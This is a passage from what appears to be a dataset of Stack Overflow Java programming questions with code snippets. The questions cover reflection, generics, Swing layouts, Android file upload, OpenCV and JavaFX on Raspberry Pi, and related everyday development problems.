) chain from it 's own class to Entity 's class.-All those classes above have a constructor allowing string as argument.3 : I have an independent static method used to create new instances of my entities , which goes as such:4 : My problem.I want to call Input ( ) ; on NpcSomething , I want to call Input ( ) ; on NpcThing , I want to call Input ( ) ; on NpcStuff.Then those 3 will call their respective superclass code , and so on until they reach Entity.Those are casted as Entity with `` ent = ( Entity ) entClass.getDec ... '' , because i have Mobile , but also Item , and other classes that inherit Input.Then with that Entity , find the right subclass , and call the Input of that said subclass.Short line problem : Create `` NpcSomething '' as an `` Entity '' then cast the entity to `` NpcSomething 's class '' to call the method `` Input ( args ) '' .5 : Answers to quick questions.-Q : Why doing this ? -A : To create entities with pre-creation arguments , example : creating a ( `` NpcSomething '' , `` health 20 healthmax 25 '' ) .-Q : Why not using instanceof ? -A : I would need more than 200 instanceof in that static class , this would be a bad programming practice.-Q : Why do n't you move your input method in Entity itself ? -A : I have many different entities with different values , ex : NpcThing , the only flying mobile would have flyingSpeed , flyingEnergy ... ItemScroll , having text , textColor , textFont ... Those are things i ca n't place in Entity , as it would require instanceof , which is a bad practice for more than ents.-Q : Do you want to cast NpcSomething to Entity ? -A : Read the whole thing again.-Q : Could you provide more informations ? -A : I would love to do that too.-Q : Why do n't you declare ent as NpcSomething ? -A : because ent could be ItemStuff , ModelHouse , etc , which are not inheriting from Mobile , or BaseCreature ... 6 : I did not find good practical examples of how to do what i want.I could not find anything especially for this in the documentation.Any help is welcome .","private static Map < String , Class > entitiesList = new HashMap < String , Class > ( ) ; public static void initEntitiesList ( ) { entitiesList.put ( `` npc_something '' , NpcSomething.class ) ; entitiesList.put ( `` npc_thing '' , NpcThing.class ) ; entitiesList.put ( `` npc_stuff '' , NpcStuff.class ) ; ... } Entity ( abstract ) ^Mobile ( abstract ) ^BaseCreature ( abstract ) ^NpcSomething public static boolean createEntity ( String entName , String args ) { Class < ? > entClass = null ; if ( ( entClass = entitiesList.get ( entName ) ) ! = null ) { Entity ent ; try { ent = ( Entity ) entClass.getDeclaredConstructor ( String.class ) .newInstance ( `` '' ) ; //this here failed . //Method method = entClass.getMethod ( `` input '' , new Class [ ] { ent.getClass ( ) } ) ; //method.invoke ( ent , new Object [ ] { ent } ) ; //java.lang.NoSuchMethodException : entities.NpcSomething.input ( entities.NpcSomething ) //this here is really out of place , as i plan on having a hundred of entities and even more ... //if ( entClass.isInstance ( NpcSomething.class ) ) //i tried stuffs related to : //T t = entClass.cast ( ent ) ; //but i could not understand it at all even with documentation . //basically i want to cast ent to entClass to call Input . //right now , the line under calls Input on an Entity class , which is what i want to avoid . ent.Input ( `` Stuffs '' ) ; } catch ( InstantiationException ex ) { ex.printStackTrace ( ) ; } catch ( IllegalAccessException ex ) { ex.printStackTrace ( ) ; } catch ( IllegalArgumentException ex ) { ex.printStackTrace ( ) ; } catch ( InvocationTargetException ex ) { ex.printStackTrace ( ) ; } catch ( NoSuchMethodException ex ) { ex.printStackTrace ( ) ; } catch ( SecurityException ex ) { ex.printStackTrace ( ) ; } } } EntCreator.createEntity ( `` NpcSomething '' , `` stuffs '' ) ; EntCreator.createEntity ( `` NpcThing '' , `` stuffs '' ) ; EntCreator.createEntity ( `` NpcStuff '' , `` stuffs '' ) ;",java - Calling a subclass method from dynamically casted superclass +Java,"I am working with an Eclipse formatter and I want the following code formatting . Note how the JavaDoc and = 's are aligned.What I want : What eclipse formats : Does anyone know if this is possible ? If it is not possible to do this automatically , is it possible to have the formatter ignore the whitespace on those lines ?","/** * Description . * * @ param alpha this is what alpha does * @ param beta this is what beta does * @ param gamma this is what gamma does * @ param delta this is what delta does */public Foo ( Bar alpha , Bar beta , Bar gamma , Bar delta ) { this.alpha = alpha ; this.beta = beta ; this.gamma = gamma ; this.delta = delta ; } /** * * @ param alpha this is what alpha does * @ param beta this is what beta does * @ param gamma this is what gamma does * @ param delta this is what delta does */public Foo ( Bar alpha , Bar beta , Bar gamma , Bar delta ) { this.alpha = alpha ; this.beta = beta ; this.gamma = gamma ; this.delta = delta ; }",Eclipse formatter to allow aligning = 's and Javadoc tab +Java,"You create a variable to store a value that you can refer to that variable in the future . I 've heard that you must set a variable to 'null ' once you 're done using it so the garbage collector can get to it ( if it 's a field var ) .If I were to have a variable that I wo n't be referring to agaon , would removing the reference/value vars I 'm using ( and just using the numbers when needed ) save memory ? For example : Would that take more space than just plugging ' 5 ' into the println method ? I have a few integers that I do n't refer to in my code ever again ( game loop ) , but I 've seen others use reference vars on things that really did n't need them . Been looking into memory management , so please let me know , along with any other advice you have to offer about managing memory",int number = 5 ; public void method ( ) { System.out.println ( number ) ; },When to create variables ( memory management ) +Java,"In a pom.xml , if we are trying to compile and create a JAR , the name will be taken as Is there a property or setting which can change the default separator '- ' to something else ? I know that we can rename it after a jar has been created ( or by using finalName ) . I was just wondering whether anyone else has tried this and had success.Thanks a lot in advance !",< artifactId > - < version > .jar,Maven Default Separator +Java,"I just encountered a peculiar little problem : Does anybody know why lambda expressions wo n't work in this instance ? There is no compile error , no exception , no nothing . The method `` onMessage '' is just not called . I use Java 1.8.0_65 and the Tyrus reference implementation 1.9 .",javax.websocket.Session session = // ... // this worksnewSession.addMessageHandler ( new MessageHandler.Whole < String > ( ) { @ Override public void onMessage ( String message ) { MyWebSocket.this.onMessage ( message ) ; } } ) ; // these do n't worknewSession.addMessageHandler ( ( MessageHandler.Whole < String > ) MyWebSocket.this : :onMessage ) ; newSession.addMessageHandler ( ( MessageHandler.Whole < String > ) message - > MyWebSocket.this.onMessage ( message ) ) ; void onMessage ( String message ) { System.out.println ( message ) ; },Lambda Does Not Work In Websocket Session +Java,I am adding dynamic JTextField and JLabel in panel1 but I am not able to set the layout of JTextField and JLabel . I need to add JTextfield and JLabel to panel1 and I add panel1 to panel . I need to add JTextFields and JLabels in a Top-Bottom manner and set layout . panel1 and panel are instances of JPanel.My code :,"public class MakeScrollablePanel extends JFrame implements ActionListener { static JButton jButton11 , jButton12 ; static JPanel panel , panel1 ; static JTextField jTextFields ; static JLabel label ; static JComboBox < String > jComboBox ; static Dimension dime , dime1 , dime2 , dime3 , dime4 , dime5 ; static JScrollPane scroll ; private GridBagConstraints panelConstraints = new GridBagConstraints ( ) ; BoxLayout bx=null ; // @ jve : decl-index=0 : int count=1 , i=0 ; public MakeScrollablePanel ( ) { setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; Show ( ) ; add ( jButton11 ) ; add ( scroll ) ; dime=new Dimension ( 600,550 ) ; setSize ( dime ) ; setTitle ( `` Priyank Panel '' ) ; setLayout ( new FlowLayout ( ) ) ; setLocationRelativeTo ( null ) ; setVisible ( true ) ; setResizable ( true ) ; } private void Show ( ) { jButton11=new JButton ( `` Add Designation '' ) ; panel=new JPanel ( ) ; bx=new BoxLayout ( panel , BoxLayout.Y_AXIS ) ; scroll=new JScrollPane ( panel ) ; dime1=new Dimension ( 500,3000 ) ; dime5=new Dimension ( 500,450 ) ; panelConstraints = new GridBagConstraints ( ) ; scroll.setPreferredSize ( dime5 ) ; scroll.setVerticalScrollBarPolicy ( JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED ) ; panel.setLayout ( bx ) ; panel.add ( Box.createHorizontalBox ( ) ) ; panel.setBorder ( LineBorder.createBlackLineBorder ( ) ) ; panel.setBackground ( new Color ( 204 , 230 , 255 ) ) ; jButton11.addActionListener ( this ) ; } public void actionPerformed ( ActionEvent event ) { if ( event.getSource ( ) ==jButton11 ) { label=new JLabel ( `` Add Designation `` +count + '' : - '' ) ; jTextFields=new JTextField ( 30 ) ; panel1=new JPanel ( ) ; panel1.setBackground ( new Color ( 204 , 230 , 255 ) ) ; panel1.add ( label ) ; panel1.add ( jTextFields ) ; panel.add ( panel1 ) ; panel1.revalidate ( ) ; panel.revalidate ( ) ; panel.updateUI ( ) ; count++ ; i++ ; } } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new MakeScrollablePanel ( ) ; } } ) ; } }",setlayout when dynamic adding textField +Java,"I have some code along the following pattern : now since every one of those methods could return null , one would usually test for this : ( and maybe use some local variables to avoid duplicate calls ) I 'm tempted to do : Is that considered bad style ? inefficient ? Or quite ok ?",return a ( ) .b ( ) .c ( ) .d ( ) .e ( ) ; if ( ( a ( ) ! =null ) & & ( a ( ) .b ( ) ! = null ) & & ... . ) { return a ( ) .b ( ) .c ( ) .d ( ) .e ( ) ; } else { return null ; } try { return a ( ) .b ( ) .c ( ) .d ( ) .e ( ) ; } catch ( NullPointerException e ) { return null ; },Is it bad style to use NullPointerException to test for null ? +Java,"My question is in regard to the way Java handles String literals . It 's quite clear from the Java Language Specs ( JLS ) that String literals are being implicitly interned - in other words , objects that are created in the String constant pool part of the heap , in contrast to the heap-based objects created when calling new String ( `` whatever '' ) .What does n't seem to line up with what the JLS says is that when creating a new String using String concatenation with a casted constant String type , which should be considered as a constant String as per the JLS , apparently the JVM is creating a new String object rather than interning it implicitly . I appreciate any explanation about this particular behaviour and whether or not this is a platform-specific behaviour . I am running on a Mac OSX Snow Leopard .","public class Test { public static void main ( String args [ ] ) { /* Create a String object on the String constant pool using a String literal */ String hello = `` hello '' ; final String lo = `` lo '' ; // this will be created in the String pool as well /* Compare the hello variable to a String constant expression , that should cause the JVM to implicitly call String.intern ( ) */ System.out.println ( hello == ( `` hel '' + lo ) ) ; // This should print true /* Here we need to create a String by casting an Object back into a String , this will be used later to create a constant expression to be compared with the hello variable */ Object object = `` lo '' ; final String stringObject = ( String ) object ; // as per the JLS , casted String types can be used to form constant expressions /* Compare with the hello variable */ System.out.println ( hello == `` hel '' + stringObject ) ; // This should print true , but it does n't : ( } }",Java String pool and type casting +Java,"Is there any way so that the below can be performed as one set of stream operations , instead of explicitly checking if recommendedProducts is empty then return default list else return the filtered list ?",public List < Product > getRecommendedProducts ( ) { List < Product > recommendedProducts = this.newProducts .stream ( ) .filter ( isAvailable ) .collect ( Collectors.toList ( ) ) ; if ( recommendedProducts.isEmpty ( ) ) { return DEFAULT_PRODUCTS ; } return recommededProducts ; },Returning default list if the list is empty using java 8 Streams ? +Java,"I know that it is a trivial matter but I want to ask this question . Suppose that I have a get method that returns an ArrayList of objects . First do we have to returns a copy of it ? If so , does it have to be a deep copy of the ArrayList ? Do we still need to do a deep copy when the objects inside it are immutable ? If we use this type of constructor then are the elements of the array copied or they still point to the old values ? Thanks",ArrayList < T > arr = new ArrayList < > ( collection ) ;,Deep copy when Using ArrayList in java +Java,"Consider these two classesThe implementation of the above methods is not important to the question so I have left that out for simplicity.I want to do this : However , this does not work because queue is of type Optional < queue > ( the same type as returned by Queue : :fromEmailAlias ) , so I have this instead : Kind of ugly imho . Changing the signature oftois a quick fix , but that would also affect my code in other places which need Optional < Queue > .Is there a nice way to unwrap this nested Optional ?","class EmailService { public Optional < String > getEmailAlias ( String email ) ; } enum Queue { public static Optional < Queue > fromEmailAlias ( String alias ) ; } emailService.getEmailAlias ( `` john @ done '' ) .map ( Queue : :fromEmailAlias ) .ifPresent ( queue - > { // do something with the queue instance , oh wait it 's an Optional < Queue > : ( } ) ; emailService.getEmailAlias ( `` john @ done '' ) .map ( Queue : :fromEmailAlias ) .ifPresent ( q- > { q.ifPresent ( queue - > { // do something with the queue instance } } ) ; public static Optional < Queue > fromEmailAlias ( String alias ) ; public static Queue fromEmailAlias ( String alias ) ;",Is there an elegant way to unwrap an object wrapped in 2 nested Optionals ? +Java,"I came accross the following code : This code just uses an intermediate TreeSet to remove duplicates , where equality among elements is defined as per the provided comparator.Let 's give local type inference an opportunity , I ( naively ) thought ... So I changed the above code to : This made sense to me , because the type of set can be inferred from the type of comparator , or so I thought . However , the modified code does n't compile and generates the following error : Now , I understand why the error occurs and I admit that the type of the comparator is actually Comparator < ? super T > , so the type inferred by var is TreeSet < ? super T > . However , I wonder why var is n't able to infer the generic type of TreeSet as just T instead of ? super T. After all , according to the docs , a TreeSet < E > has a constructor that accepts an argument of type Comparator < ? super E > . So invoking this constructor should create a TreeSet < E > , not a TreeSet < ? super E > . ( This is what the first snippet shows ) . I expected var to follow this same logic.Note 1 : One way to make the code compile would be to change the return type to Set < ? super T > . However , that would be a hardly usable set ... Note 2 : Another way would be to not use contravariance in the comparator , but I do n't want this , because I would n't be able to use a Comparator that compares ancestors of T.Note 3 : I know that the first snippet works , so it seems obvious that I should stick to not using var and declare the set explicitly as Set < T > . However , my question is not whether I should discard my second snippet or how to fix it . Instead , I 'd like to know why var is not inferring TreeSet < T > as the type of the set local variable in my 2nd snippet.EDIT 1 : In this comment , user @ nullpointer correctly points out that I should make the following subtle change to make the 2nd snippet compile : Now the generic type parameter T is explicit for TreeSet , so var correctly infers the type of the set local variable as TreeSet < T > . Still , I 'd like to know why I must specify T explicitly.EDIT 2 : In this other comment , user @ Holger cleverly mentions that the following is forbidden in the language : The code above fails to compile with the following error : So now the question becomes more evident : if I can not explicitly specify the bounded generic type ? super T in the instantiation expression new TreeSet < ? super T > ( comparator ) , why is the compiler infering TreeSet < ? super T > as the type of the set local variable ?","public static < T > Set < T > distinct ( Collection < ? extends T > list , Comparator < ? super T > comparator ) { Set < T > set = new TreeSet < > ( comparator ) ; set.addAll ( list ) ; return set ; } public static < T > Set < T > distinct ( Collection < ? extends T > list , Comparator < ? super T > comparator ) { var set = new TreeSet < > ( comparator ) ; set.addAll ( list ) ; return set ; } java : incompatible types : java.util.TreeSet < capture # 1 of ? super T > can not be converted to java.util.Set < T > var set = new TreeSet < T > ( comparator ) ; // T brings in the magic ! var set = new TreeSet < ? super T > ( comparator ) ; java : unexpected type required : class or interface without bounds found : ? super T",Local type inference and contravariance in generic type variables +Java,"Note : The similar question has been already asked three years ago , in time of EE 6 , see how to instantiate more then one CDI/Weld bean for one class ? Has something changed in EE 7 ? In Spring there is possible to instantiate any class by defining the corresponding bean in xml conf . It is also possible to instantiate more beans for one class with different parameters ... ..Is it possible to do it in CDI , I mean to create an instance without creating another class ? Spring Example :",< bean id= '' foo '' class= '' MyBean '' > < property name= '' someProperty '' value= '' 42 '' / > < /bean > < bean id= '' hoo '' class= '' MyBean '' > < property name= '' someProperty '' value= '' 666 '' / > < /bean >,How to instantiate more CDI beans for one class ? +Java,"Sorry for the vague title . I have this piece of code which compiles on Eclipse Juno ( 4.2 ) but not javac ( 1.7.0_09 ) : The error is : So the questions are : Is this a javac bug or Eclipse bug ? Is there any way to make this compile on javac , without changing the signature of the v method ( i.e . keep the wildcard ) ? I know changing it to < T extends N < T > > void v ( final R < T > r ) does make it compile , but I would like to know if there 's way to avoid this first . Also , the method p can not be changed to < T extends N < ? > > void p ( final T n ) because the content have types which requires the exact constraint T extends N < T > .",package test ; public final class Test { public static class N < T extends N < T > > { } public static class R < T extends N < T > > { public T o ; } public < T extends N < T > > void p ( final T n ) { } public void v ( final R < ? > r ) { p ( r.o ) ; // < -- javac fails on this line } } Test.java:13 : error : method p in class Test can not be applied to given types ; p ( r.o ) ; ^ required : T found : N < CAP # 1 > reason : inferred type does not conform to declared bound ( s ) inferred : N < CAP # 1 > bound ( s ) : N < N < CAP # 1 > > where T is a type-variable : T extends N < T > declared in method < T > p ( T ) where CAP # 1 is a fresh type-variable : CAP # 1 extends N < CAP # 1 > from capture of ? 1 error,Java CRTP and Wildcards : Code compiles in Eclipse but not ` javac ` +Java,"I see no real difference between the following two methods of creating a setter , but was wondering if I am just naive . Is one more desirable than the other ?",public void fooSetter ( String bar ) { _bar = bar ; } public void fooSetter ( String bar ) { this._bar = bar ; },Using `` this '' in setters +Java,"Inside a fork of react-native-fs ( https : //github.com/johanneslumpe/react-native-fs ) , I 'm attempting to add this code : But when I build it , I get this error : I think I 'm using the ReactContextBaseJavaModule in exactly the same way as this , in the core React Native repo : https : //github.com/facebook/react-native/blob/235b16d93287061a09c4624e612b5dc4f960ce47/ReactAndroid/src/main/java/com/facebook/react/modules/intent/IntentModule.java","public class RNFSManager extends ReactContextBaseJavaModule { public RNFSManager ( ReactApplicationContext reactContext ) { super ( reactContext ) ; } @ ReactMethod public void openFile ( String filepath , Callback callback ) { try { File file = new File ( filepath ) ; MimeTypeMap myMime = MimeTypeMap.getSingleton ( ) ; Intent newIntent = new Intent ( Intent.ACTION_VIEW ) ; String mimeType = myMime.getMimeTypeFromExtension ( fileExt ( filepath ) .substring ( 1 ) ) ; newIntent.setDataAndType ( Uri.fromFile ( file ) , mimeType ) ; newIntent.setFlags ( Intent.FLAG_ACTIVITY_NEW_TASK ) ; Activity currentActivity = getCurrentActivity ( ) ; if ( currentActivity ! = null ) { currentActivity.startActivity ( newIntent ) ; } else { this.getReactApplicationContext ( ) .startActivity ( newIntent ) ; } } catch ( Exception ex ) { ex.printStackTrace ( ) ; callback.invoke ( makeErrorPayload ( ex ) ) ; } } ... /android/src/main/java/com/rnfs/RNFSManager.java:138 : error : can not find symbol Activity currentActivity = getCurrentActivity ( ) ; ^ symbol : method getCurrentActivity ( ) 1 error","Attempting to add an openFile method to React Native , ca n't call getCurrentActivity" +Java,"I wan na send a file and some variables to server , to insert in a table in a android app using AsyncTask . here is my java code : And PHP code : I use two httpconnection object and I think this is the problem . How can I send variables and file simultaneously ? this code upload the file to server , but the table is n't updated . it just add an empty row : ( .","try { URL url = new URL ( upLoadServerUri ) ; HttpURLConnection httpURLConnection = ( HttpURLConnection ) url.openConnection ( ) ; httpURLConnection.setRequestMethod ( `` POST '' ) ; httpURLConnection.setDoOutput ( true ) ; httpURLConnection.setDoInput ( true ) ; httpURLConnection.setUseCaches ( false ) ; OutputStream outputStream = httpURLConnection.getOutputStream ( ) ; BufferedWriter bufferedWriter = new BufferedWriter ( new OutputStreamWriter ( outputStream , '' UTF-8 '' ) ) ; String post_data= URLEncoder.encode ( `` username '' , `` UTF-8 '' ) + '' = '' +URLEncoder.encode ( username , '' UTF-8 '' ) ; bufferedWriter.write ( post_data ) ; bufferedWriter.flush ( ) ; bufferedWriter.close ( ) ; outputStream.close ( ) ; InputStream inputStream = httpURLConnection.getInputStream ( ) ; BufferedReader bufferedReader = new BufferedReader ( new InputStreamReader ( inputStream , `` iso-8859-1 '' ) ) ; result= '' '' ; String line= '' '' ; while ( ( line=bufferedReader.readLine ( ) ) ! = null ) { result += line ; } bufferedReader.close ( ) ; inputStream.close ( ) ; httpURLConnection.disconnect ( ) ; } catch ( MalformedURLException e ) { e.printStackTrace ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } try { FileInputStream fileInputStream = new FileInputStream ( sourceFile ) ; URL url = new URL ( upLoadServerUri ) ; // Open a HTTP connection to the URL conn = ( HttpURLConnection ) url.openConnection ( ) ; conn.setDoInput ( true ) ; // Allow Inputs conn.setDoOutput ( true ) ; // Allow Outputs conn.setUseCaches ( false ) ; // Do n't use a Cached Copy conn.setRequestMethod ( `` POST '' ) ; conn.setRequestProperty ( `` Connection '' , `` Keep-Alive '' ) ; conn.setRequestProperty ( `` ENCTYPE '' , `` multipart/form-data '' ) ; conn.setRequestProperty ( `` Content-Type '' , `` multipart/form-data ; boundary= '' + boundary ) ; conn.setRequestProperty ( `` bill '' , sourceFileUri ) ; dos = new DataOutputStream ( conn.getOutputStream ( ) ) ; dos.writeBytes ( twoHyphens + boundary + lineEnd ) ; dos.writeBytes ( `` Content-Disposition : form-data ; name=\ '' bill\ '' ; filename=\ '' '' + sourceFileUri + `` \ '' '' + lineEnd ) ; dos.writeBytes ( lineEnd ) ; // create a buffer of maximum size bytesAvailable = fileInputStream.available ( ) ; bufferSize = Math.min ( bytesAvailable , maxBufferSize ) ; buffer = new byte [ bufferSize ] ; // read file and write it into form ... bytesRead = fileInputStream.read ( buffer , 0 , bufferSize ) ; while ( bytesRead > 0 ) { dos.write ( buffer , 0 , bufferSize ) ; bytesAvailable = fileInputStream.available ( ) ; bufferSize = Math.min ( bytesAvailable , maxBufferSize ) ; bytesRead = fileInputStream.read ( buffer , 0 , bufferSize ) ; } // send multipart form data necesssary after file // data ... dos.writeBytes ( lineEnd ) ; dos.writeBytes ( twoHyphens + boundary + twoHyphens + lineEnd ) ; // Responses from the server ( code and message ) serverResponseCode = conn.getResponseCode ( ) ; String serverResponseMessage = conn .getResponseMessage ( ) ; // close the streams // fileInputStream.close ( ) ; dos.flush ( ) ; dos.close ( ) ; return result ; } catch ( MalformedURLException e ) { e.printStackTrace ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } if ( is_uploaded_file ( $ _FILES [ 'bill ' ] [ 'tmp_name ' ] ) ) { $ uploads_dir = './sensorLog/ $ user_name ' ; $ tmp_name = $ _FILES [ 'bill ' ] [ 'tmp_name ' ] ; $ pic_name = $ _FILES [ 'bill ' ] [ 'name ' ] ; move_uploaded_file ( $ tmp_name , $ uploads_dir. $ pic_name ) ; if ( $ conn- > query ( $ mysql_qry ) === TRUE ) { echo `` upload and update successful '' ; } else { echo `` Error '' . $ mysql_qry . `` < br > '' . $ conn- > error ; } } else { echo `` File not uploaded successfully . `` ; }",How can I send multiple files and texts simultaneously to server over http protocol in Android ? +Java,"This question is very similar to this one however it 's on Linux ARM ( Raspberry Pi ) .I 've compiled OpenCV 4.4.0 from source along with the Java bindings and tried something like this hack ( that worked on Windows ) : However , depending on the Raspberry Pi , I get different crashes at the same line , loading libopencv_java440 ( after the other dependant libraries have loaded ) : On a Raspberry Pi 3B running Raspian stretch I get errors like this one : On a Raspberry Pi ZeroW also running Raspian Stretch I a beefy log : example.Any tips on getting OpenCV Java bindings to work on arvm6/armv7 CPUs ? UpdateThanks to the comment from @ Catree I 've ran the tests as well.As you can see in opencv_cpp_tests.txt mosts tests run , excluding ones where asset loading is required ( Must 've botched running the asset part ) .I did try running the Java tests as well , however I 'm missing something obvious because the java.library.path argument I pass to the lib folder containing opencv 's shared libraries does n't seem to work . You can view the output in opencv_java_tests.txtI 've also tried the old-school 2.4 Introduction to Java Development OpenCV Tutorial specifying the correct java class paths and library path , but got greeted by a segfault : /Any hints/tips to progress are greatly appreciatedUpdate 2Following @ moyeen52 's advice I 've compiled OpenCV static libs ( -DBUILD_SHARED_LIBS=OFF ) and noticed libopencv_java.so goes from 2.1MB to 31MB.Unfortunately I still get the same segfault : ( I also had a look at the other post which unfortunately does n't apply as OpenCV compiles libopencv_java440.so already ( no need to rename ) .Update 3To ease testing for anyone out there with a Raspberry PI 3 B+ I 've uploaded the following : HelloCV.tar.gz : contains Hello.java ( which simply tried to load the library , create a Mat and print it ) , opencv-440.jar , libopencv_java440.so ( static build ) and compile.sh and run.sh which should call javac/java with the right arguments , locally referencing the java and c++ libraries.opencv440_static_rpi3b.tar.gz : static library buildopencv440_shared_rpi3b.tar.gz : shared library buildAdditionally I will try recompiling without libatomic nor NEON and VPF3 CPU optimisations and will post updatesYour advice/tips are very much appreciated ! Thank you","import org.opencv.core . * ; public class CVTest { public static void main ( String [ ] args ) { System.out.println ( `` setup '' ) ; // loading the typical way fails : ( // System.loadLibrary ( Core.NATIVE_LIBRARY_NAME ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_core.so '' ) ; ////System.load ( `` /home/pi/opencv/build/lib/libopencv_core.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_imgproc.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_imgcodecs.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_img_hash.so '' ) ; ////System.load ( `` /home/pi/eclipse/CVTest/lib/opencv_core.so '' ) ; //videoio_ffmpeg440_64.dll//System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_videoio.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_photo.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_xphoto.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_flann.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_features2d.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_calib3d.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_phase_unwrapping.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_structured_light.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_xfeatures2d.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_video.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_ximgproc.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_aruco.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_bgsegm.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_bioinspired.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_objdetect.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_face.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_dnn.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_tracking.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_plot.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_ml.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_ml.so '' ) ; System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_text.so '' ) ; // crashes here ! System.load ( `` /home/pi/eclipse/CVTest/lib/libopencv_java440.so '' ) ; Mat m = Mat.eye ( new Size ( 3,3 ) , CvType.CV_8UC1 ) ; System.out.println ( `` done '' ) ; } } # # A fatal error has been detected by the Java Runtime Environment : # # SIGBUS ( 0x7 ) at pc=0x6360f644 , pid=9730 , tid=0x64eba470 # # JRE version : Java ( TM ) SE Runtime Environment ( 8.0_202-b08 ) ( build 1.8.0_202-b08 ) # Java VM : Java HotSpot ( TM ) Client VM ( 25.202-b08 mixed mode linux-arm ) # Problematic frame : # C [ libopencv_core.so+0x258644 ] cv : :Ptr < std : :vector < std : :__cxx11 : :basic_string < char , std : :char_traits < char > , std : :allocator < char > > , std : :allocator < std : :__cxx11 : :basic_string < char , std : :char_traits < char > , std : :allocator < char > > > > > : :~Ptr ( ) +0x38 # # Failed to write core dump . Core dumps have been disabled . To enable core dumping , try `` ulimit -c unlimited '' before starting Java again # # If you would like to submit a bug report , please visit : # http : //bugreport.java.com/bugreport/crash.jsp # -- -- -- -- -- -- -- - T H R E A D -- -- -- -- -- -- -- -Current thread ( 0x76162400 ) : VMThread [ stack : 0x64e3b000,0x64ebb000 ] [ id=9733 ] siginfo : si_signo : 7 ( SIGBUS ) , si_code : 1 ( BUS_ADRALN ) , si_addr : 0x7c1f010eRegisters : r0 = 0x636e6270 r1 = 0x00000000 r2 = 0x000011f8 r3 = 0x7c1f010e r4 = 0x7c1f00f2 r5 = 0x636e6270 r6 = 0x76ee84ac r7 = 0x00000001 r8 = 0x6470c600 r9 = 0x000003ec r10 = 0x000003ec fp = 0x64eb9c0c r12 = 0x76fa4ce4 sp = 0x64eb9be8 lr = 0x76ddadd4 pc = 0x6360f644 cpsr = 0x20000010Top of Stack : ( sp=0x64eb9be8 ) 0x64eb9be8 : 76ee8000 00000000 76ee84ac 76ddadd40x64eb9bf8 : 76129d7c 76ddae34 00000000 76635d7c0x64eb9c08 : 64eb9c2c 768ac3dc 76162270 637369540x64eb9c18 : 76940000 76129988 76129990 76129d7c0x64eb9c28 : 64eb9ca4 768aaa54 7696a050 76942d140x64eb9c38 : 64eb9ca4 767f8084 00000000 000000000x64eb9c48 : 8c365cd8 00000000 76909901 769660440x64eb9c58 : 76163208 00000000 00000000 7696a050Instructions : ( pc=0x6360f644 ) 0x6360f624 : 0a00000d e59f20c4 e7933002 e35300000x6360f634 : 0a00000b e284301c ee070fba e1932f9f0x6360f644 : e2421001 e1830f91 e3500000 1afffffa0x6360f654 : e3520001 ee070fba 0a00000f e1a00005Register to memory mapping : r0 = 0x636e6270 java -Djava.library.path=/home/pi/opencv/build/lib -classpath /home/pi/opencv/build/bin/opencv-440.jar : /home/pi/opencv/build/build/jar/SimpleSample.jar SimpleSample -verboseSegmentation fault",How to use OpenCV 4 in Java on Raspberry PI ( armv6 and armv7 Raspian ) ? +Java,"I think I 've read all available solutions about problems with 3D under JFx on RPi and none of the following suits my needs . I had no problems with 2D applications.But when I try to run 3D program , all the 3D elements are gone . After this command : I get this : expected image : actual image : I 've installed armv6hf-sdk-8.60.9I will appreciate any suggestion.EditAfter a additional research I 've also added OpenJFX : apt-get install openjfxwhich makes some small improvements in total , but stil there is something missing.Maybe I 'll start from beginning . I used tutorial to set JavaFX for my Raspberry , then libprism_es2.so was missing so I 've copied and renamed it from /usr/lib/jvm/jdk-8-oracle-arm32-vfp-hflt/jre/lib/arm/libprism_es2_eglfb.so ( I 've chosen this one , because I thought if I was using -Djavafx.platform=eglfb parametr , it 'd be good option to use ) and now I 've added OpenJFX , what else should be installed there ? Do you think that newer version of sdk might be helpful ? But on the other hand I 'm afraid that my level of knowledge in operating Linux is too basic and instead of progresses there will be disaster so I 'd prefer to stay with version I already have.Now , at the moment my application looks like that : the output messages : Do you have any more suggestions ?","java -Djavafx.platform=eglfb -Dprism.verbose=true -Dcom.sun.javafx.experimental.embedded.3d=true -Dprism.glDepthSize=24 -Dprism.forceGPU=true -jar Brake_Check.jar Prism pipeline init order : es2 sw Using java-based Pisces rasterizerUsing dirty region optimizationsNot using texture mask for primitivesNot forcing power of 2 sizes for texturesUsing hardware CLAMP_TO_ZERO modeOpting in for HiDPI pixel scalingPrism pipeline name = com.sun.prism.es2.ES2PipelineLoading ES2 native library ... prism_es2 succeeded.GLFactory using com.sun.prism.es2.X11GLFactoryGraphicsPipeline.createPipeline failed for com.sun.prism.es2.ES2Pipelinejava.lang.UnsatisfiedLinkError : 